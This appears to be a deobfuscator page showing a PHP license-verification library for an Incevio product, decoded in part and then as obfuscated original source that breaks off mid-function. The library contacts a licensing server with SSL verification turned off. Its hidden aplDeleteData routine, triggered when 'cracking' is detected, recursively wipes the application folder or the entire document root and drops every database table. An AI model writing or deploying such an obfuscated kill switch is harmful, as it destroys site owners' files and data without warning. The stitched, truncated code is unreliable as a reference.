if (aplCheckData($MYSQLI_LINK))
{
goto TSibm;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto ChgQz;
TSibm:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "/apl_callbacks/license_uninstall.php", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["notification_case"] == "notification_license_ok"))
{
goto lu3tx;
}
if (!(APL_STORAGE == "DATABASE"))
{
goto cOnwt;
}
mysqli_query($MYSQLI_LINK, "DELETE FROM " . APL_DATABASE_TABLE);
mysqli_query($MYSQLI_LINK, "DROP TABLE " . APL_DATABASE_TABLE);
cOnwt:
if (!(APL_STORAGE == "FILE"))
{
goto jCDHR;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+"); @fclose($handle);
jCDHR:
lu3tx:
ChgQz:
m4I_x:
return $notifications_array;
}
function aplDeleteData($MYSQLI_LINK = null)
{
if (APL_GOD_MODE == "YES" && isset($_SERVER["DOCUMENT_ROOT"]))
{
goto bG0xX;
}
$root_directory = dirname(__DIR__);
goto iVoyk;
bG0xX:
$root_directory = $_SERVER["DOCUMENT_ROOT"];
iVoyk:
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path)
{
$path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
z9gBT:
}
wjx2O:
rmdir($root_directory);
if (!(APL_STORAGE == "DATABASE"))
{
goto WRE7D;
}
$database_tables_array = array();
$table_list_results = mysqli_query($MYSQLI_LINK, "SHOW TABLES");
xjeEe:
if (!($table_list_row = mysqli_fetch_row($table_list_results)))
{
goto Wvu8M;
}
$database_tables_array[] = $table_list_row[0];
goto xjeEe;
Wvu8M:
if (empty($database_tables_array))
{
goto awUWl;
}
foreach ($database_tables_array as $table_name)
{
mysqli_query($MYSQLI_LINK, "DELETE FROM {$table_name}");
wEPIw:
}
yZ0CH:
foreach ($database_tables_array as $table_name)
{
mysqli_query($MYSQLI_LINK, "DROP TABLE {$table_name}");
G1w0E:
}
OzxI2:
awUWl:
WRE7D:
exit;
} ?>
Did this file decode correctly?
Original Code
<?php
/* __________________________________________________
| Obfuscated by YAK Pro - Php Obfuscator 2.0.1 |
| on 2018-12-21 10:26:19 |
| GitHub: https://github.com/pk-fr/yakpro-po |
|__________________________________________________|
*/
/*
* Copyright (C) Incevio Systems, Inc - All Rights Reserved
* Unauthorized copying of this file, via any medium is strictly prohibited
* Proprietary and confidential
* Written by Munna Khan <[email protected]>, September 2018
*/
function aplCustomEncrypt($string, $key)
{
$encrypted_string = null;
if (!(!empty($string) && !empty($key)))
{
goto pMlQt;
}
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("\x61\x65\163\x2d\62\x35\66\55\143\x62\143"));
$encrypted_string = openssl_encrypt($string, "\x61\145\x73\55\62\65\66\x2d\143\x62\143", $key, 0, $iv);
$encrypted_string = base64_encode($encrypted_string . "\x3a\x3a" . $iv);
pMlQt:
return $encrypted_string;
}
function aplCustomDecrypt($string, $key)
{
$decrypted_string = null; if (!(!empty($string) && !empty($key)))
{
goto EpA3K;
}
$string = base64_decode($string);
if (!stristr($string, "\x3a\72"))
{
goto MxGap;
}
$string_iv_array = explode("\72\72", $string, 2);
if (!(!empty($string_iv_array) && count($string_iv_array) == 2))
{
goto aTdS4;
}
list($encrypted_string, $iv) = $string_iv_array;
$decrypted_string = openssl_decrypt($encrypted_string, "\141\145\x73\x2d\62\x35\x36\55\x63\142\143", $key, 0, $iv);
aTdS4:
MxGap:
EpA3K:
return $decrypted_string;
}
function aplValidateNumberOrRange($number, $min_value, $max_value = INF)
{
$result = false;
if (!(filter_var($number, FILTER_VALIDATE_INT) === 0 || !filter_var($number, FILTER_VALIDATE_INT) === false))
{
goto J3doE;
}
if ($number >= $min_value && $number <= $max_value)
{
goto RldcU;
}
$result = false;
goto BTRKy;
RldcU:
$result = true;
BTRKy:
J3doE:
if (!stristr($number, "\x2d"))
{
goto av5Gj;
}
$numbers_array = explode("\x2d", $number);
if (!(filter_var($numbers_array[0], FILTER_VALIDATE_INT) === 0 || !filter_var($numbers_array[0], FILTER_VALIDATE_INT) === false && filter_var($numbers_array[1], FILTER_VALIDATE_INT) === 0 || !filter_var($numbers_array[1], FILTER_VALIDATE_INT) === false))
{
goto Ngok2;
}
if ($numbers_array[0] >= $min_value && $numbers_array[1] <= $max_value && $numbers_array[0] <= $numbers_array[1])
{
goto fuM0v;
}
$result = false;
goto BhRBu;
fuM0v:
$result = true;
BhRBu:
Ngok2:
av5Gj:
return $result;
}
function aplValidateRawDomain($url)
{
$result = false;
if (empty($url))
{
goto WJe9_;
}
if (preg_match("\x2f\136\133\141\55\172\60\x2d\71\x2d\56\x5d\53\x5c\x2e\133\141\x2d\x7a\134\56\135\173\x32\54\67\175\x24\57", strtolower($url)))
{
goto SwcAe;
}
$result = false;
goto nHC2G;
SwcAe:
$result = true;
nHC2G:
WJe9_:
return $result;
}
function aplGetCurrentUrl($remove_last_slash = null, $string_to_remove_array = null)
{
$current_url = null;
$protocol = !empty($_SERVER["\110\x54\x54\x50\123"]) && $_SERVER["\x48\124\x54\120\123"] !== "\x6f\x66\146" ? "\x68\x74\164\x70\x73" : "\x68\x74\164\x70";
if (!isset($_SERVER["\x48\x54\124\120\137\x48\x4f\123\x54"]))
{
goto huEJ0;
}
$host = $_SERVER["\x48\x54\x54\x50\x5f\x48\x4f\123\124"];
huEJ0:
if (!isset($_SERVER["\123\x43\x52\x49\x50\124\137\x4e\x41\115\105"]))
{
goto qPZaV;
}
$script = $_SERVER["\x53\x43\x52\x49\120\x54\137\x4e\x41\115\105"];
qPZaV:
if (!isset($_SERVER["\x51\125\x45\122\x59\x5f\123\124\x52\111\x4e\x47"]))
{
goto WEWbZ;
}
$params = $_SERVER["\121\125\x45\122\x59\x5f\123\124\x52\x49\x4e\x47"];
WEWbZ:
if (!(!empty($protocol) && !empty($host) && !empty($script)))
{
goto NqkGK;
}
$current_url = $protocol . "\x3a\57\x2f" . $host . $script;
if (empty($params))
{
goto KLgh1;
}
$current_url .= "\77" . $params;
KLgh1:
if (!(!empty($string_to_remove_array) && is_array($string_to_remove_array)))
{
goto v6EEP;
}
foreach ($string_to_remove_array as $key => $value)
{
$current_url = str_ireplace($value, '', $current_url);
RdJEz:
}
d3572:
v6EEP:
if (!($remove_last_slash == 1))
{
goto KcX59;
}
rgyHl:
if (!(substr($current_url, -1) == "\x2f"))
{
goto aAuTv;
}
$current_url = substr($current_url, 0, -1);
goto rgyHl;
aAuTv:
KcX59:
NqkGK:
return $current_url;
}
function aplGetRawDomain($url)
{
$raw_domain = null;
if (empty($url))
{
goto OMJEU;
}
$url_array = parse_url($url);
if (!empty($url_array["\x73\143\x68\x65\x6d\145"]))
{
goto DMjP4;
}
$url = "\x68\x74\x74\160\72\x2f\x2f" . $url;
$url_array = parse_url($url);
DMjP4:
if (empty($url_array["\x68\x6f\x73\x74"]))
{
goto HcNQe;
}
$raw_domain = $url_array["\x68\157\x73\164"];
$raw_domain = trim(str_ireplace("\x77\167\x77\x2e", '', filter_var($raw_domain, FILTER_SANITIZE_URL)));
HcNQe:
OMJEU:
return $raw_domain;
}
function aplGetRootUrl($url, $remove_scheme, $remove_www, $remove_path, $remove_last_slash)
{
if (!filter_var($url, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED))
{
goto cnnf7;
}
$url_array = parse_url($url);
$url = str_ireplace($url_array["\x73\143\x68\x65\155\145"] . "\x3a\57\x2f", '', $url);
if ($remove_path == 1)
{
goto aP20B;
}
$last_slash_position = strripos($url, "\x2f"); if (!($last_slash_position > 0))
{
goto vnDc0;
}
$url = substr($url, 0, $last_slash_position + 1);
vnDc0:
goto iW2AK;
aP20B:
$first_slash_position = stripos($url, "\57"); if (!($first_slash_position > 0))
{
goto kwrFv;
}
$url = substr($url, 0, $first_slash_position + 1);
kwrFv:
iW2AK:
if (!($remove_scheme != 1))
{
goto PWWle;
}
$url = $url_array["\x73\143\150\x65\155\145"] . "\x3a\x2f\57" . $url;
PWWle: if (!($remove_www == 1))
{
goto FSPaz;
}
$url = str_ireplace("\167\x77\x77\x2e", '', $url);
FSPaz: if (!($remove_last_slash == 1))
{
goto YFDE2;
}
xvISn:
if (!(substr($url, -1) == "\57"))
{
goto gnzti;
}
$url = substr($url, 0, -1);
goto xvISn;
gnzti:
YFDE2:
cnnf7:
return trim($url);
}
function aplCustomPostGetHeaders($url, $refer = null, $post_info = null)
{
$user_agent = "\115\x6f\x7a\x69\154\154\141\57\65\x2e\60\40\x28\x57\151\x6e\x64\157\167\163\40\116\124\40\x36\x2e\x33\x3b\40\x57\117\127\x36\x34\x3b\x20\162\166\72\x34\70\x2e\60\x29\40\107\x65\x63\153\x6f\x2f\62\60\x31\x30\x30\x31\60\x31\x20\x46\151\162\x65\x66\157\170\57\x34\70\x2e\x30"; $connect_timeout = 10; $server_response_array = array(); $formatted_headers_array = array();
if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED)))
{
goto ZEKrD;
}
$refer = $url;
ZEKrD:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use(&$formatted_headers_array)
{
$len = strlen($header);
$header = explode("\x3a", $header, 2);
if (!(count($header) < 2))
{
goto VKZ1i;
} return $len;
VKZ1i:
$name = strtolower(trim($header[0]));
$formatted_headers_array[$name] = trim($header[1]); return $len; });
$result = curl_exec($ch);
curl_close($ch);
$server_response_array["\150\145\x61\x64\x65\162\x73"] = $formatted_headers_array;
$server_response_array["\142\157\144\171"] = $result; return $server_response_array;
}
function aplVerifyDate($date, $date_format)
{
$datetime = DateTime::createFromFormat($date_format, $date);
$errors = DateTime::getLastErrors();
if (!$datetime || !empty($errors["\x77\141\162\x6e\151\156\147\137\x63\x6f\165\x6e\x74"]))
{
goto CniTB;
}
$date_check_ok = true;
goto TW6N_;
CniTB:
$date_check_ok = false;
TW6N_:
return $date_check_ok;
}
function aplGetDaysBetweenDates($date_from, $date_to)
{
$number_of_days = 0;
if (!(aplVerifyDate($date_from, "\131\55\155\55\144") && aplVerifyDate($date_to, "\131\55\155\x2d\144")))
{
goto CoDN4;
}
$date_to = new DateTime($date_to);
$date_from = new DateTime($date_from);
$number_of_days = $date_from->diff($date_to)->format("\x25\141");
CoDN4:
return $number_of_days;
}
function aplParseXmlTags($content, $tag_name)
{
$parsed_value = null;
if (!(!empty($content) && !empty($tag_name)))
{
goto INdTi;
}
preg_match_all("\x2f\74" . preg_quote($tag_name, "\57") . "\x3e\x28\56\52\x3f\51\74\x5c\x2f" . preg_quote($tag_name, "\57") . "\x3e\57\151\155\163", $content, $output_array, PREG_SET_ORDER);
if (empty($output_array[0][1]))
{
goto R8Sfl;
}
$parsed_value = trim($output_array[0][1]);
R8Sfl:
INdTi:
return $parsed_value;
}
function aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
{
$notifications_array = array();
if (!empty($content_array))
{
goto yQ3VU;
}
$notifications_array["\x6e\x6f\164\151\x66\x69\x63\141\x74\151\157\156\137\143\141\x73\145"] = "\x6e\157\164\x69\x66\x69\x63\141\164\x69\x6f\x6e\137\x6e\157\x5f\x63\157\x6e\x6e\145\x63\x74\x69\157\156";
$notifications_array["\156\x6f\x74\151\x66\x69\143\141\164\x69\157\x6e\137\x74\x65\170\164"] = APL_NOTIFICATION_NO_CONNECTION;
goto uhux3;
yQ3VU:
if (!empty($content_array["\x68\x65\141\x64\145\162\x73"]["\x6e\157\x74\151\146\x69\x63\x61\x74\151\157\x6e\137\163\145\x72\166\x65\162\x5f\163\151\147\156\x61\x74\x75\162\145"]) && aplVerifyServerSignature($content_array["\150\x65\141\144\x65\162\163"]["\x6e\157\x74\x69\146\x69\x63\x61\x74\151\157\x6e\137\163\x65\x72\166\145\x72\x5f\163\x69\147\x6e\141\x74\165\x72\x65"], $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE))
{
goto TU4NP;
}
$notifications_array["\156\157\x74\x69\x66\151\143\141\164\x69\x6f\x6e\137\x63\x61\x73\145"] = "\156\x6f\164\x69\146\x69\143\x61\164\x69\x6f\x6e\x5f\x69\x6e\x76\x61\154\151\144\x5f\x72\x65\x73\x70\157\x6e\163\x65";
$notifications_array["\156\157\x74\151\x66\x69\143\141\164\x69\157\x6e\x5f\164\145\170\x74"] = APL_NOTIFICATION_INVALID_RESPONSE;
goto Em56F;
TU4NP:
$notifications_array["\x6e\x6f\x74\151\x66\151\x63\141\164\x69\157\156\x5f\143\141\163\x65"] = $content_array["\x68\x65\x61\144\x65\x72\x73"]["\x6e\157\x74\151\146\151\143\141\x74\x69\157\x6e\x5f\x63\141\163\145"];
$notifications_array["\x6e\157\164\x69\x66\151\143\141\164\x69\x6f\156\x5f\x74\x65\170\x74"] = $content_array["\150\x65\141\144\145\x72\163"]["\x6e\x6f\164\151\146\151\143\x61\164\151\157\156\137\x74\x65\x78\164"];
if (empty($content_array["\x68\145\x61\x64\145\x72\163"]["\x6e\157\164\x69\146\x69\143\x61\x74\151\157\156\x5f\x64\141\x74\141"]))
{
goto Zg9V6;
}
$notifications_array["\x6e\x6f\x74\x69\146\151\x63\x61\x74\151\157\156\137\x64\x61\x74\x61"] = json_decode($content_array["\150\x65\141\x64\145\x72\163"]["\x6e\157\x74\x69\x66\151\143\x61\x74\151\x6f\156\x5f\144\141\164\x61"], true);
Zg9V6:
Em56F:
uhux3:
return $notifications_array;
}
function aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
{
$script_signature = null;
$root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
if (!(!empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array)))
{
goto Hshmv;
}
$script_signature = hash("\163\150\x61\x32\65\x36", gmdate("\x59\x2d\155\55\144") . $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE . APL_PRODUCT_ID . implode('', $root_ips_array));
Hshmv:
return $script_signature;
}
function aplVerifyServerSignature($notification_server_signature, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE)
{
$result = false; $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
if (!(!empty($notification_server_signature) && !empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array)))
{
goto F3Cnp;
}
if (!(hash("\x73\x68\141\x32\x35\x36", implode('', $root_ips_array) . APL_PRODUCT_ID . $LICENSE_CODE . $CLIENT_EMAIL . $ROOT_URL . gmdate("\131\55\155\55\144")) == $notification_server_signature))
{
goto unCsu;
}
$result = true;
unCsu:
F3Cnp:
return $result;
}
function aplCheckSettings()
{
$notifications_array = array();
if (!(empty(APL_SALT) || APL_SALT == "\163\x6f\155\145\x5f\x72\x61\x6e\x64\157\x6d\x5f\164\145\x78\164"))
{
goto KXmpS;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT;
KXmpS:
if (!(!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) || !ctype_alnum(substr(APL_ROOT_URL, -1))))
{
goto Pr1X1;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL;
Pr1X1:
if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT))
{
goto b2uTW;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID;
b2uTW:
if (aplValidateNumberOrRange(APL_DAYS, 1, 365))
{
goto PaOz4;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD;
PaOz4:
if (!(APL_STORAGE != "\x44\x41\124\101\102\101\x53\x45" && APL_STORAGE != "\x46\x49\114\x45"))
{
goto PRzEn;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE;
PRzEn:
if (!(APL_STORAGE == "\x44\x41\x54\x41\x42\101\123\x45" && !ctype_alnum(str_ireplace(array("\137"), '', APL_DATABASE_TABLE))))
{
goto WIfMa;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE;
WIfMa:
if (!(APL_STORAGE == "\106\111\x4c\105" && !@is_writable(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION)))
{
goto nyuEg;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE;
nyuEg:
if (!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP)))
{
goto Yoy3U;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP;
Yoy3U:
if (!(!empty(APL_ROOT_IP) && !in_array(APL_ROOT_IP, gethostbynamel(aplGetRawDomain(APL_ROOT_URL)))))
{
goto Evsq9;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
Evsq9:
if (!(defined("\101\x50\x4c\137\x52\117\x4f\124\137\x4e\101\x4d\105\123\105\x52\126\105\122\123") && !empty(APL_ROOT_NAMESERVERS)))
{
goto UGNmk;
}
foreach (APL_ROOT_NAMESERVERS as $nameserver)
{
if (aplValidateRawDomain($nameserver))
{
goto iEhfR;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS;
goto ZvWje;
iEhfR:
vxlwe:
}
ZvWje:
UGNmk:
if (!(defined("\x41\x50\x4c\137\x52\x4f\x4f\124\137\x4e\x41\x4d\x45\x53\105\122\126\105\122\x53") && !empty(APL_ROOT_NAMESERVERS)))
{
goto EhvJo;
}
$apl_root_nameservers_array = APL_ROOT_NAMESERVERS;
$fetched_nameservers_array = array();
$dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS);
foreach ($dns_records_array as $record)
{
$fetched_nameservers_array[] = $record["\164\141\162\147\145\x74"];
ZM6un:
}
xNl3b:
$apl_root_nameservers_array = array_map("\x73\x74\162\164\157\154\x6f\167\145\x72", $apl_root_nameservers_array);
$fetched_nameservers_array = array_map("\163\x74\x72\x74\x6f\x6c\x6f\167\145\162", $fetched_nameservers_array);
sort($apl_root_nameservers_array);
sort($fetched_nameservers_array);
if (!($apl_root_nameservers_array != $fetched_nameservers_array))
{
goto VQOIh;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
VQOIh:
EhvJo:
return $notifications_array;
}
function aplParseLicenseFile()
{
$license_data_array = array();
if (!@is_readable(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION))
{
goto tnFzD;
}
$file_content = file_get_contents(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION);
preg_match_all("\57\x3c\50\x5b\x41\55\x5a\137\x5d\x2b\51\x3e\x28\x2e\52\77\x29\x3c\134\x2f\x28\133\101\55\x5a\x5f\135\x2b\51\x3e\57", $file_content, $matches, PREG_SET_ORDER);
if (empty($matches))
{
goto kKGvc;
}
foreach ($matches as $value)
{
if (!(!empty($value[1]) && $value[1] == $value[3]))
{
goto ry6Ox;
}
$license_data_array[$value[1]] = $value[2];
ry6Ox:
U8KX8:
}
CnEiz:
kKGvc:
tnFzD:
return $license_data_array;
}
function aplGetLicenseData($MYSQLI_LINK = null)
{
$settings_row = array();
if (!(APL_STORAGE == "\104\101\x54\101\102\x41\x53\105"))
{
goto Asz0F;
}
$settings_results = @mysqli_query($MYSQLI_LINK, "\x53\105\114\x45\x43\x54\x20\52\40\x46\122\117\115\40" . APL_DATABASE_TABLE);
$settings_row = @mysqli_fetch_assoc($settings_results);
Asz0F:
if (!(APL_STORAGE == "\106\111\x4c\105"))
{
goto v_3BC;
}
$settings_row = aplParseLicenseFile();
v_3BC:
return $settings_row;
}
function aplCheckConnection()
{
$notifications_array = array();
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\x2f\141\x70\154\137\x63\x61\x6c\154\142\141\x63\x6b\x73\x2f\143\157\x6e\156\x65\x63\x74\151\157\156\x5f\164\145\163\164\x2e\x70\150\160", APL_ROOT_URL, "\x70\x72\x6f\x64\x75\143\x74\137\x69\144\x3d" . rawurlencode(APL_PRODUCT_ID) . "\46\143\x6f\156\x6e\x65\143\x74\x69\157\x6e\137\150\x61\163\150\75" . rawurlencode(hash("\163\150\x61\x32\x35\66", "\143\x6f\156\156\145\143\x74\x69\157\156\x5f\164\145\x73\164")));
if (!empty($content_array))
{
goto tKeci;
}
$notifications_array["\x6e\157\x74\151\146\151\x63\x61\164\151\x6f\x6e\x5f\143\x61\163\145"] = "\x6e\x6f\164\151\146\x69\143\x61\164\151\x6f\x6e\x5f\x6e\x6f\137\143\157\156\156\145\143\x74\x69\157\x6e";
$notifications_array["\156\x6f\164\x69\146\x69\x63\x61\x74\151\157\156\137\x74\145\170\164"] = APL_NOTIFICATION_NO_CONNECTION;
goto coAYa;
tKeci:
if (!($content_array["\142\157\144\171"] != "\74\143\x6f\x6e\156\145\143\164\151\157\x6e\x5f\164\x65\x73\x74\x3e\117\x4b\x3c\57\143\157\156\x6e\145\x63\x74\x69\x6f\156\137\164\x65\163\164\76"))
{
goto j6vZI;
}
$notifications_array["\x6e\x6f\x74\x69\x66\x69\143\x61\x74\151\x6f\156\x5f\x63\x61\x73\x65"] = "\156\157\164\151\146\151\143\x61\x74\151\x6f\x6e\x5f\x69\156\x76\141\x6c\x69\144\x5f\x72\145\x73\x70\157\x6e\163\x65";
$notifications_array["\156\x6f\x74\x69\x66\x69\x63\141\164\x69\x6f\x6e\137\x74\x65\170\x74"] = APL_NOTIFICATION_INVALID_RESPONSE;
j6vZI:
coAYa:
return $notifications_array;
}
function aplCheckData($MYSQLI_LINK = null)
{
$error_detected = 0;
$cracking_detected = 0;
$data_check_result = false;
extract(aplGetLicenseData($MYSQLI_LINK));
if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD)))
{
goto txAvT;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY);
if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) || !ctype_alnum(substr($ROOT_URL, -1))))
{
goto mCCbf;
}
$error_detected = 1;
mCCbf:
if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}\57", 1, 1, 0, 1)) === false))
{
goto Ox4n1;
}
$error_detected = 1; Ox4n1: if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("\x73\150\141\62\x35\x36", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE)))
{
goto mtVMK;
}
$error_detected = 1;
mtVMK:
if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL))))
{
goto QH6Kd;
}
$error_detected = 1;
$cracking_detected = 1;
QH6Kd:
if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "\131\105\x53"))
{
goto mEapT;
}
aplDeleteData($MYSQLI_LINK); mEapT: if (!($error_detected != 1 && $cracking_detected != 1))
{
goto yKLtG;
}
$data_check_result = true;
yKLtG:
txAvT:
return $data_check_result;
}
function aplVerifyEnvatoPurchase($LICENSE_CODE = null)
{
$notifications_array = array();
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\x2f\141\x70\x6c\x5f\x63\141\x6c\x6c\142\141\x63\153\x73\57\166\x65\162\x69\x66\x79\x5f\x65\x6e\166\x61\164\x6f\137\x70\x75\x72\143\x68\x61\163\x65\56\160\x68\160", APL_ROOT_URL, "\160\162\x6f\x64\x75\x63\164\137\x69\144\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\x6c\151\x63\145\x6e\x73\x65\x5f\x63\x6f\x64\145\75" . rawurlencode($LICENSE_CODE) . "\x26\143\x6f\x6e\x6e\145\x63\x74\x69\x6f\156\137\x68\x61\163\x68\x3d" . rawurlencode(hash("\x73\x68\x61\x32\x35\66", "\x76\145\162\151\146\x79\x5f\x65\x6e\x76\141\x74\157\137\160\165\x72\x63\x68\x61\163\x65")));
if (!empty($content_array))
{
goto tmvDr;
}
$notifications_array["\156\x6f\x74\151\146\151\143\x61\x74\x69\157\156\x5f\x63\x61\x73\145"] = "\156\157\x74\151\146\x69\143\141\x74\x69\x6f\x6e\x5f\x6e\157\x5f\x63\157\156\156\x65\143\164\151\x6f\156";
$notifications_array["\x6e\x6f\x74\151\146\151\143\x61\x74\151\x6f\x6e\x5f\164\x65\x78\164"] = APL_NOTIFICATION_NO_CONNECTION;
goto QUGJZ;
tmvDr:
if (!($content_array["\x62\x6f\144\171"] != "\x3c\x76\x65\162\x69\x66\171\x5f\145\x6e\x76\141\x74\x6f\137\160\165\162\x63\x68\141\163\x65\76\x4f\113\74\x2f\166\145\x72\x69\x66\171\x5f\x65\156\x76\x61\x74\157\x5f\160\165\162\143\x68\141\163\x65\76"))
{
goto YVg8u;
}
$notifications_array["\x6e\157\164\151\x66\x69\x63\x61\x74\x69\157\156\x5f\x63\141\163\x65"] = "\156\x6f\164\x69\146\151\x63\141\x74\151\157\x6e\x5f\x69\x6e\x76\x61\x6c\151\x64\137\162\145\163\x70\x6f\156\x73\x65";
$notifications_array["\x6e\157\x74\151\x66\x69\143\x61\x74\x69\x6f\x6e\x5f\x74\145\170\164"] = APL_NOTIFICATION_INVALID_RESPONSE;
YVg8u:
QUGJZ:
return $notifications_array;
}
function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications))
{
goto ezOp1;
}
$notifications_array["\156\157\x74\x69\x66\x69\143\141\x74\151\157\x6e\x5f\x63\x61\163\x65"] = "\x6e\157\164\151\146\x69\143\141\x74\x69\157\x6e\x5f\163\143\162\x69\x70\164\x5f\143\x6f\162\162\x75\160\x74\145\144";
$notifications_array["\156\x6f\x74\151\x66\151\x63\x61\x74\151\x6f\x6e\137\164\x65\x78\164"] = implode("\73\x20", $apl_core_notifications);
goto go8oy;
ezOp1:
if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK)))
{
goto yhMbn;
}
$INSTALLATION_HASH = hash("\163\x68\x61\x32\x35\66", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
$post_info = "\x70\162\x6f\x64\165\x63\164\x5f\151\144\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\x63\x6c\151\145\156\164\137\x65\x6d\141\151\x6c\x3d" . rawurlencode($CLIENT_EMAIL) . "\46\154\x69\143\145\156\x73\x65\137\x63\x6f\x64\145\75" . rawurlencode($LICENSE_CODE) . "\46\162\x6f\x6f\164\137\165\162\154\75" . rawurlencode($ROOT_URL) . "\46\151\156\163\x74\x61\154\x6c\141\x74\x69\x6f\156\137\150\141\x73\x68\75" . rawurlencode($INSTALLATION_HASH) . "\x26\x6c\x69\x63\145\156\163\145\x5f\x73\x69\x67\156\x61\x74\165\x72\145\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPostGetHeaders(APL_ROOT_URL . "\57\141\x70\x6c\137\143\141\154\154\x62\x61\143\153\163\57\154\151\143\145\156\163\145\137\151\x6e\x73\x74\x61\x6c\x6c\x2e\160\150\160", $ROOT_URL, $post_info);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
